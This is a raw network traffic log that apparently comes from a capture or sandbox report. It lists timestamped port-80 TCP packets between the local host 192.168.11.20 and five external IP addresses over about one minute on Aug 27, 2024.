Aug 27, 2024 08:00:15.286966085 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:15.616997957 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:15.617182016 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:15.625886917 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:15.625936031 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:15.625988007 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:15.955838919 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:15.955914021 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:15.956015110 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:15.956067085 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:15.956089020 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:15.956113100 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:15.956453085 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:15.956595898 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:15.956609964 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:15.956793070 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:15.956964016 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:16.285782099 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.285868883 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.285933971 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:16.285981894 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:16.286081076 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.286210060 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:16.286290884 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.286379099 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:16.286426067 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:16.286616087 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.286894083 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.287065029 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.287307978 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.287677050 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.287800074 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.615679026 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.615892887 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.616133928 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.616379976 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.616611958 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.616926908 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.617058992 CEST	80	49872	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:16.617249012 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:17.128212929 CEST	49872	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:18.145703077 CEST	49873	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:18.468573093 CEST	80	49873	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:18.468733072 CEST	49873	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:18.473742008 CEST	49873	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:18.796794891 CEST	80	49873	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:18.796854973 CEST	80	49873	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:18.797110081 CEST	49873	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:18.798928022 CEST	49873	80	192.168.11.20	154.23.184.207
Aug 27, 2024 08:00:19.121665001 CEST	80	49873	154.23.184.207	192.168.11.20
Aug 27, 2024 08:00:23.921062946 CEST	49874	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:24.160511017 CEST	80	49874	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:24.160774946 CEST	49874	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:24.168150902 CEST	49874	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:24.407562017 CEST	80	49874	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:24.459789038 CEST	80	49874	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:24.459800005 CEST	80	49874	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:24.460005999 CEST	49874	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:25.673306942 CEST	49874	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:26.690591097 CEST	49875	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:26.929775953 CEST	80	49875	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:26.929935932 CEST	49875	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:26.937452078 CEST	49875	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:27.176693916 CEST	80	49875	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:27.228481054 CEST	80	49875	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:27.228569031 CEST	80	49875	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:27.228785992 CEST	49875	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:28.438268900 CEST	49875	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.455605030 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.694722891 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.694952011 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.703767061 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.703826904 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.703881979 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.943275928 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.943384886 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.943422079 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.943471909 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.943502903 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.943640947 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.943701982 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.943746090 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.943775892 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.943802118 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.943813086 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.943840027 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.943878889 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.943906069 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:29.943906069 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.944066048 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:29.944204092 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:30.182781935 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.182863951 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.182873011 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.182931900 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:30.182981014 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:30.183047056 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:30.183113098 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183218002 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:30.183235884 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183245897 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183351040 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183387995 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:30.183506012 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183515072 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183557034 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:30.183614016 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183623075 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183734894 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183861017 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183988094 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.183995962 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.184004068 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.184109926 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.184251070 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.184259892 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.184267998 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.422287941 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.422378063 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.422386885 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.422498941 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.422750950 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.422759056 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.422766924 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.422804117 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.422873020 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.423000097 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.423008919 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.423018932 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.481420994 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.481484890 CEST	80	49876	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:30.481689930 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:31.218888044 CEST	49876	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:32.236258984 CEST	49877	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:32.475434065 CEST	80	49877	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:32.475702047 CEST	49877	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:32.482604980 CEST	49877	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:32.721803904 CEST	80	49877	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:32.773437023 CEST	80	49877	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:32.773525953 CEST	80	49877	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:32.773698092 CEST	49877	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:32.775454044 CEST	49877	80	192.168.11.20	185.230.15.3
Aug 27, 2024 08:00:33.014574051 CEST	80	49877	185.230.15.3	192.168.11.20
Aug 27, 2024 08:00:37.783746958 CEST	49878	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:37.884320021 CEST	80	49878	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:37.884591103 CEST	49878	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:37.892110109 CEST	49878	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:37.992676020 CEST	80	49878	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:37.994493008 CEST	80	49878	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:37.994594097 CEST	80	49878	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:37.994605064 CEST	80	49878	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:37.994807959 CEST	49878	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:37.998471022 CEST	80	49878	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:37.998603106 CEST	49878	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:39.404589891 CEST	49878	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:40.422022104 CEST	49879	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:40.522794962 CEST	80	49879	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:40.523055077 CEST	49879	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:40.530560970 CEST	49879	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:40.631314993 CEST	80	49879	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:40.633126974 CEST	80	49879	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:40.633229017 CEST	80	49879	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:40.633240938 CEST	80	49879	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:40.633351088 CEST	49879	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:40.637948990 CEST	80	49879	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:40.638045073 CEST	49879	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:42.044622898 CEST	49879	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.062009096 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.162787914 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.162961960 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.171567917 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.171602964 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.171670914 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.171843052 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.272310972 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.272392035 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.272401094 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.272478104 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.272526979 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.272538900 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.272648096 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.272672892 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.272783995 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.272793055 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.272794008 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.272803068 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.272912979 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.272984982 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.273134947 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.373380899 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.373477936 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.373486996 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.373495102 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.373538017 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.373600960 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.373613119 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.373620987 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.373723030 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.373744011 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.373878956 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.373888969 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.373900890 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.373970985 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.374224901 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.374234915 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.374357939 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.374367952 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.374474049 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.374602079 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.374612093 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.374619961 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.374653101 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474185944 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474276066 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474397898 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474409103 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474522114 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474531889 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474651098 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474661112 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474771976 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474781036 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474895954 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.474905968 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.476402998 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.476453066 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.476505041 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.476609945 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.476609945 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:43.482640028 CEST	80	49880	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:43.482734919 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:44.684668064 CEST	49880	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:45.702028990 CEST	49881	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:45.802684069 CEST	80	49881	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:45.802936077 CEST	49881	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:45.807940006 CEST	49881	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:45.908490896 CEST	80	49881	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:45.910274029 CEST	80	49881	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:45.910377026 CEST	80	49881	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:45.910387039 CEST	80	49881	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:45.910770893 CEST	49881	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:45.912575960 CEST	49881	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:45.914531946 CEST	80	49881	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:45.914819002 CEST	49881	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:00:46.013052940 CEST	80	49881	199.59.243.226	192.168.11.20
Aug 27, 2024 08:00:51.368015051 CEST	49882	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:51.591592073 CEST	80	49882	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:51.591763973 CEST	49882	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:51.599246979 CEST	49882	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:51.831715107 CEST	80	49882	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:51.831882000 CEST	49882	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:53.104798079 CEST	49882	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:54.122210979 CEST	49883	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:54.345797062 CEST	80	49883	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:54.345999002 CEST	49883	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:54.353516102 CEST	49883	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:54.578942060 CEST	80	49883	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:54.579088926 CEST	49883	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:55.854353905 CEST	49883	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:56.871581078 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.102570057 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.102708101 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.111351013 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.111437082 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.342390060 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.342437983 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.342623949 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.342683077 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.342812061 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.342860937 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.342946053 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.343019962 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.343172073 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.573738098 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.573812008 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.573910952 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.573977947 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.574032068 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.574140072 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.574270010 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.574286938 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:57.574363947 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.574508905 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.574692965 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.805023909 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.805111885 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.805130005 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.805464029 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.805480957 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.805711031 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.807780027 CEST	80	49884	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:57.807969093 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:58.619208097 CEST	49884	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:59.638735056 CEST	49885	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:59.870804071 CEST	80	49885	85.159.66.93	192.168.11.20
Aug 27, 2024 08:00:59.871068001 CEST	49885	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:00:59.880530119 CEST	49885	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:01:00.113989115 CEST	80	49885	85.159.66.93	192.168.11.20
Aug 27, 2024 08:01:00.114185095 CEST	49885	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:01:00.116003036 CEST	49885	80	192.168.11.20	85.159.66.93
Aug 27, 2024 08:01:00.346632004 CEST	80	49885	85.159.66.93	192.168.11.20
Aug 27, 2024 08:01:05.349841118 CEST	49886	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:05.477984905 CEST	80	49886	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:05.478151083 CEST	49886	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:05.485650063 CEST	49886	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:05.613992929 CEST	80	49886	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:05.754682064 CEST	80	49886	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:05.754702091 CEST	80	49886	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:05.754849911 CEST	49886	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:06.992398977 CEST	49886	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:08.009757042 CEST	49887	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:08.137468100 CEST	80	49887	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:08.137593031 CEST	49887	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:08.145081997 CEST	49887	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:08.273437023 CEST	80	49887	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:08.416161060 CEST	80	49887	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:08.416178942 CEST	80	49887	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:08.416292906 CEST	49887	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:09.648056984 CEST	49887	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:10.665422916 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:10.793404102 CEST	80	49888	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:10.793673992 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:10.802206993 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:10.802246094 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:10.802320004 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:10.930547953 CEST	80	49888	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:10.930778980 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:10.930951118 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:10.931112051 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:11.058399916 CEST	80	49888	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:11.058568954 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:11.058742046 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:11.059603930 CEST	80	49888	176.57.64.102	192.168.11.20
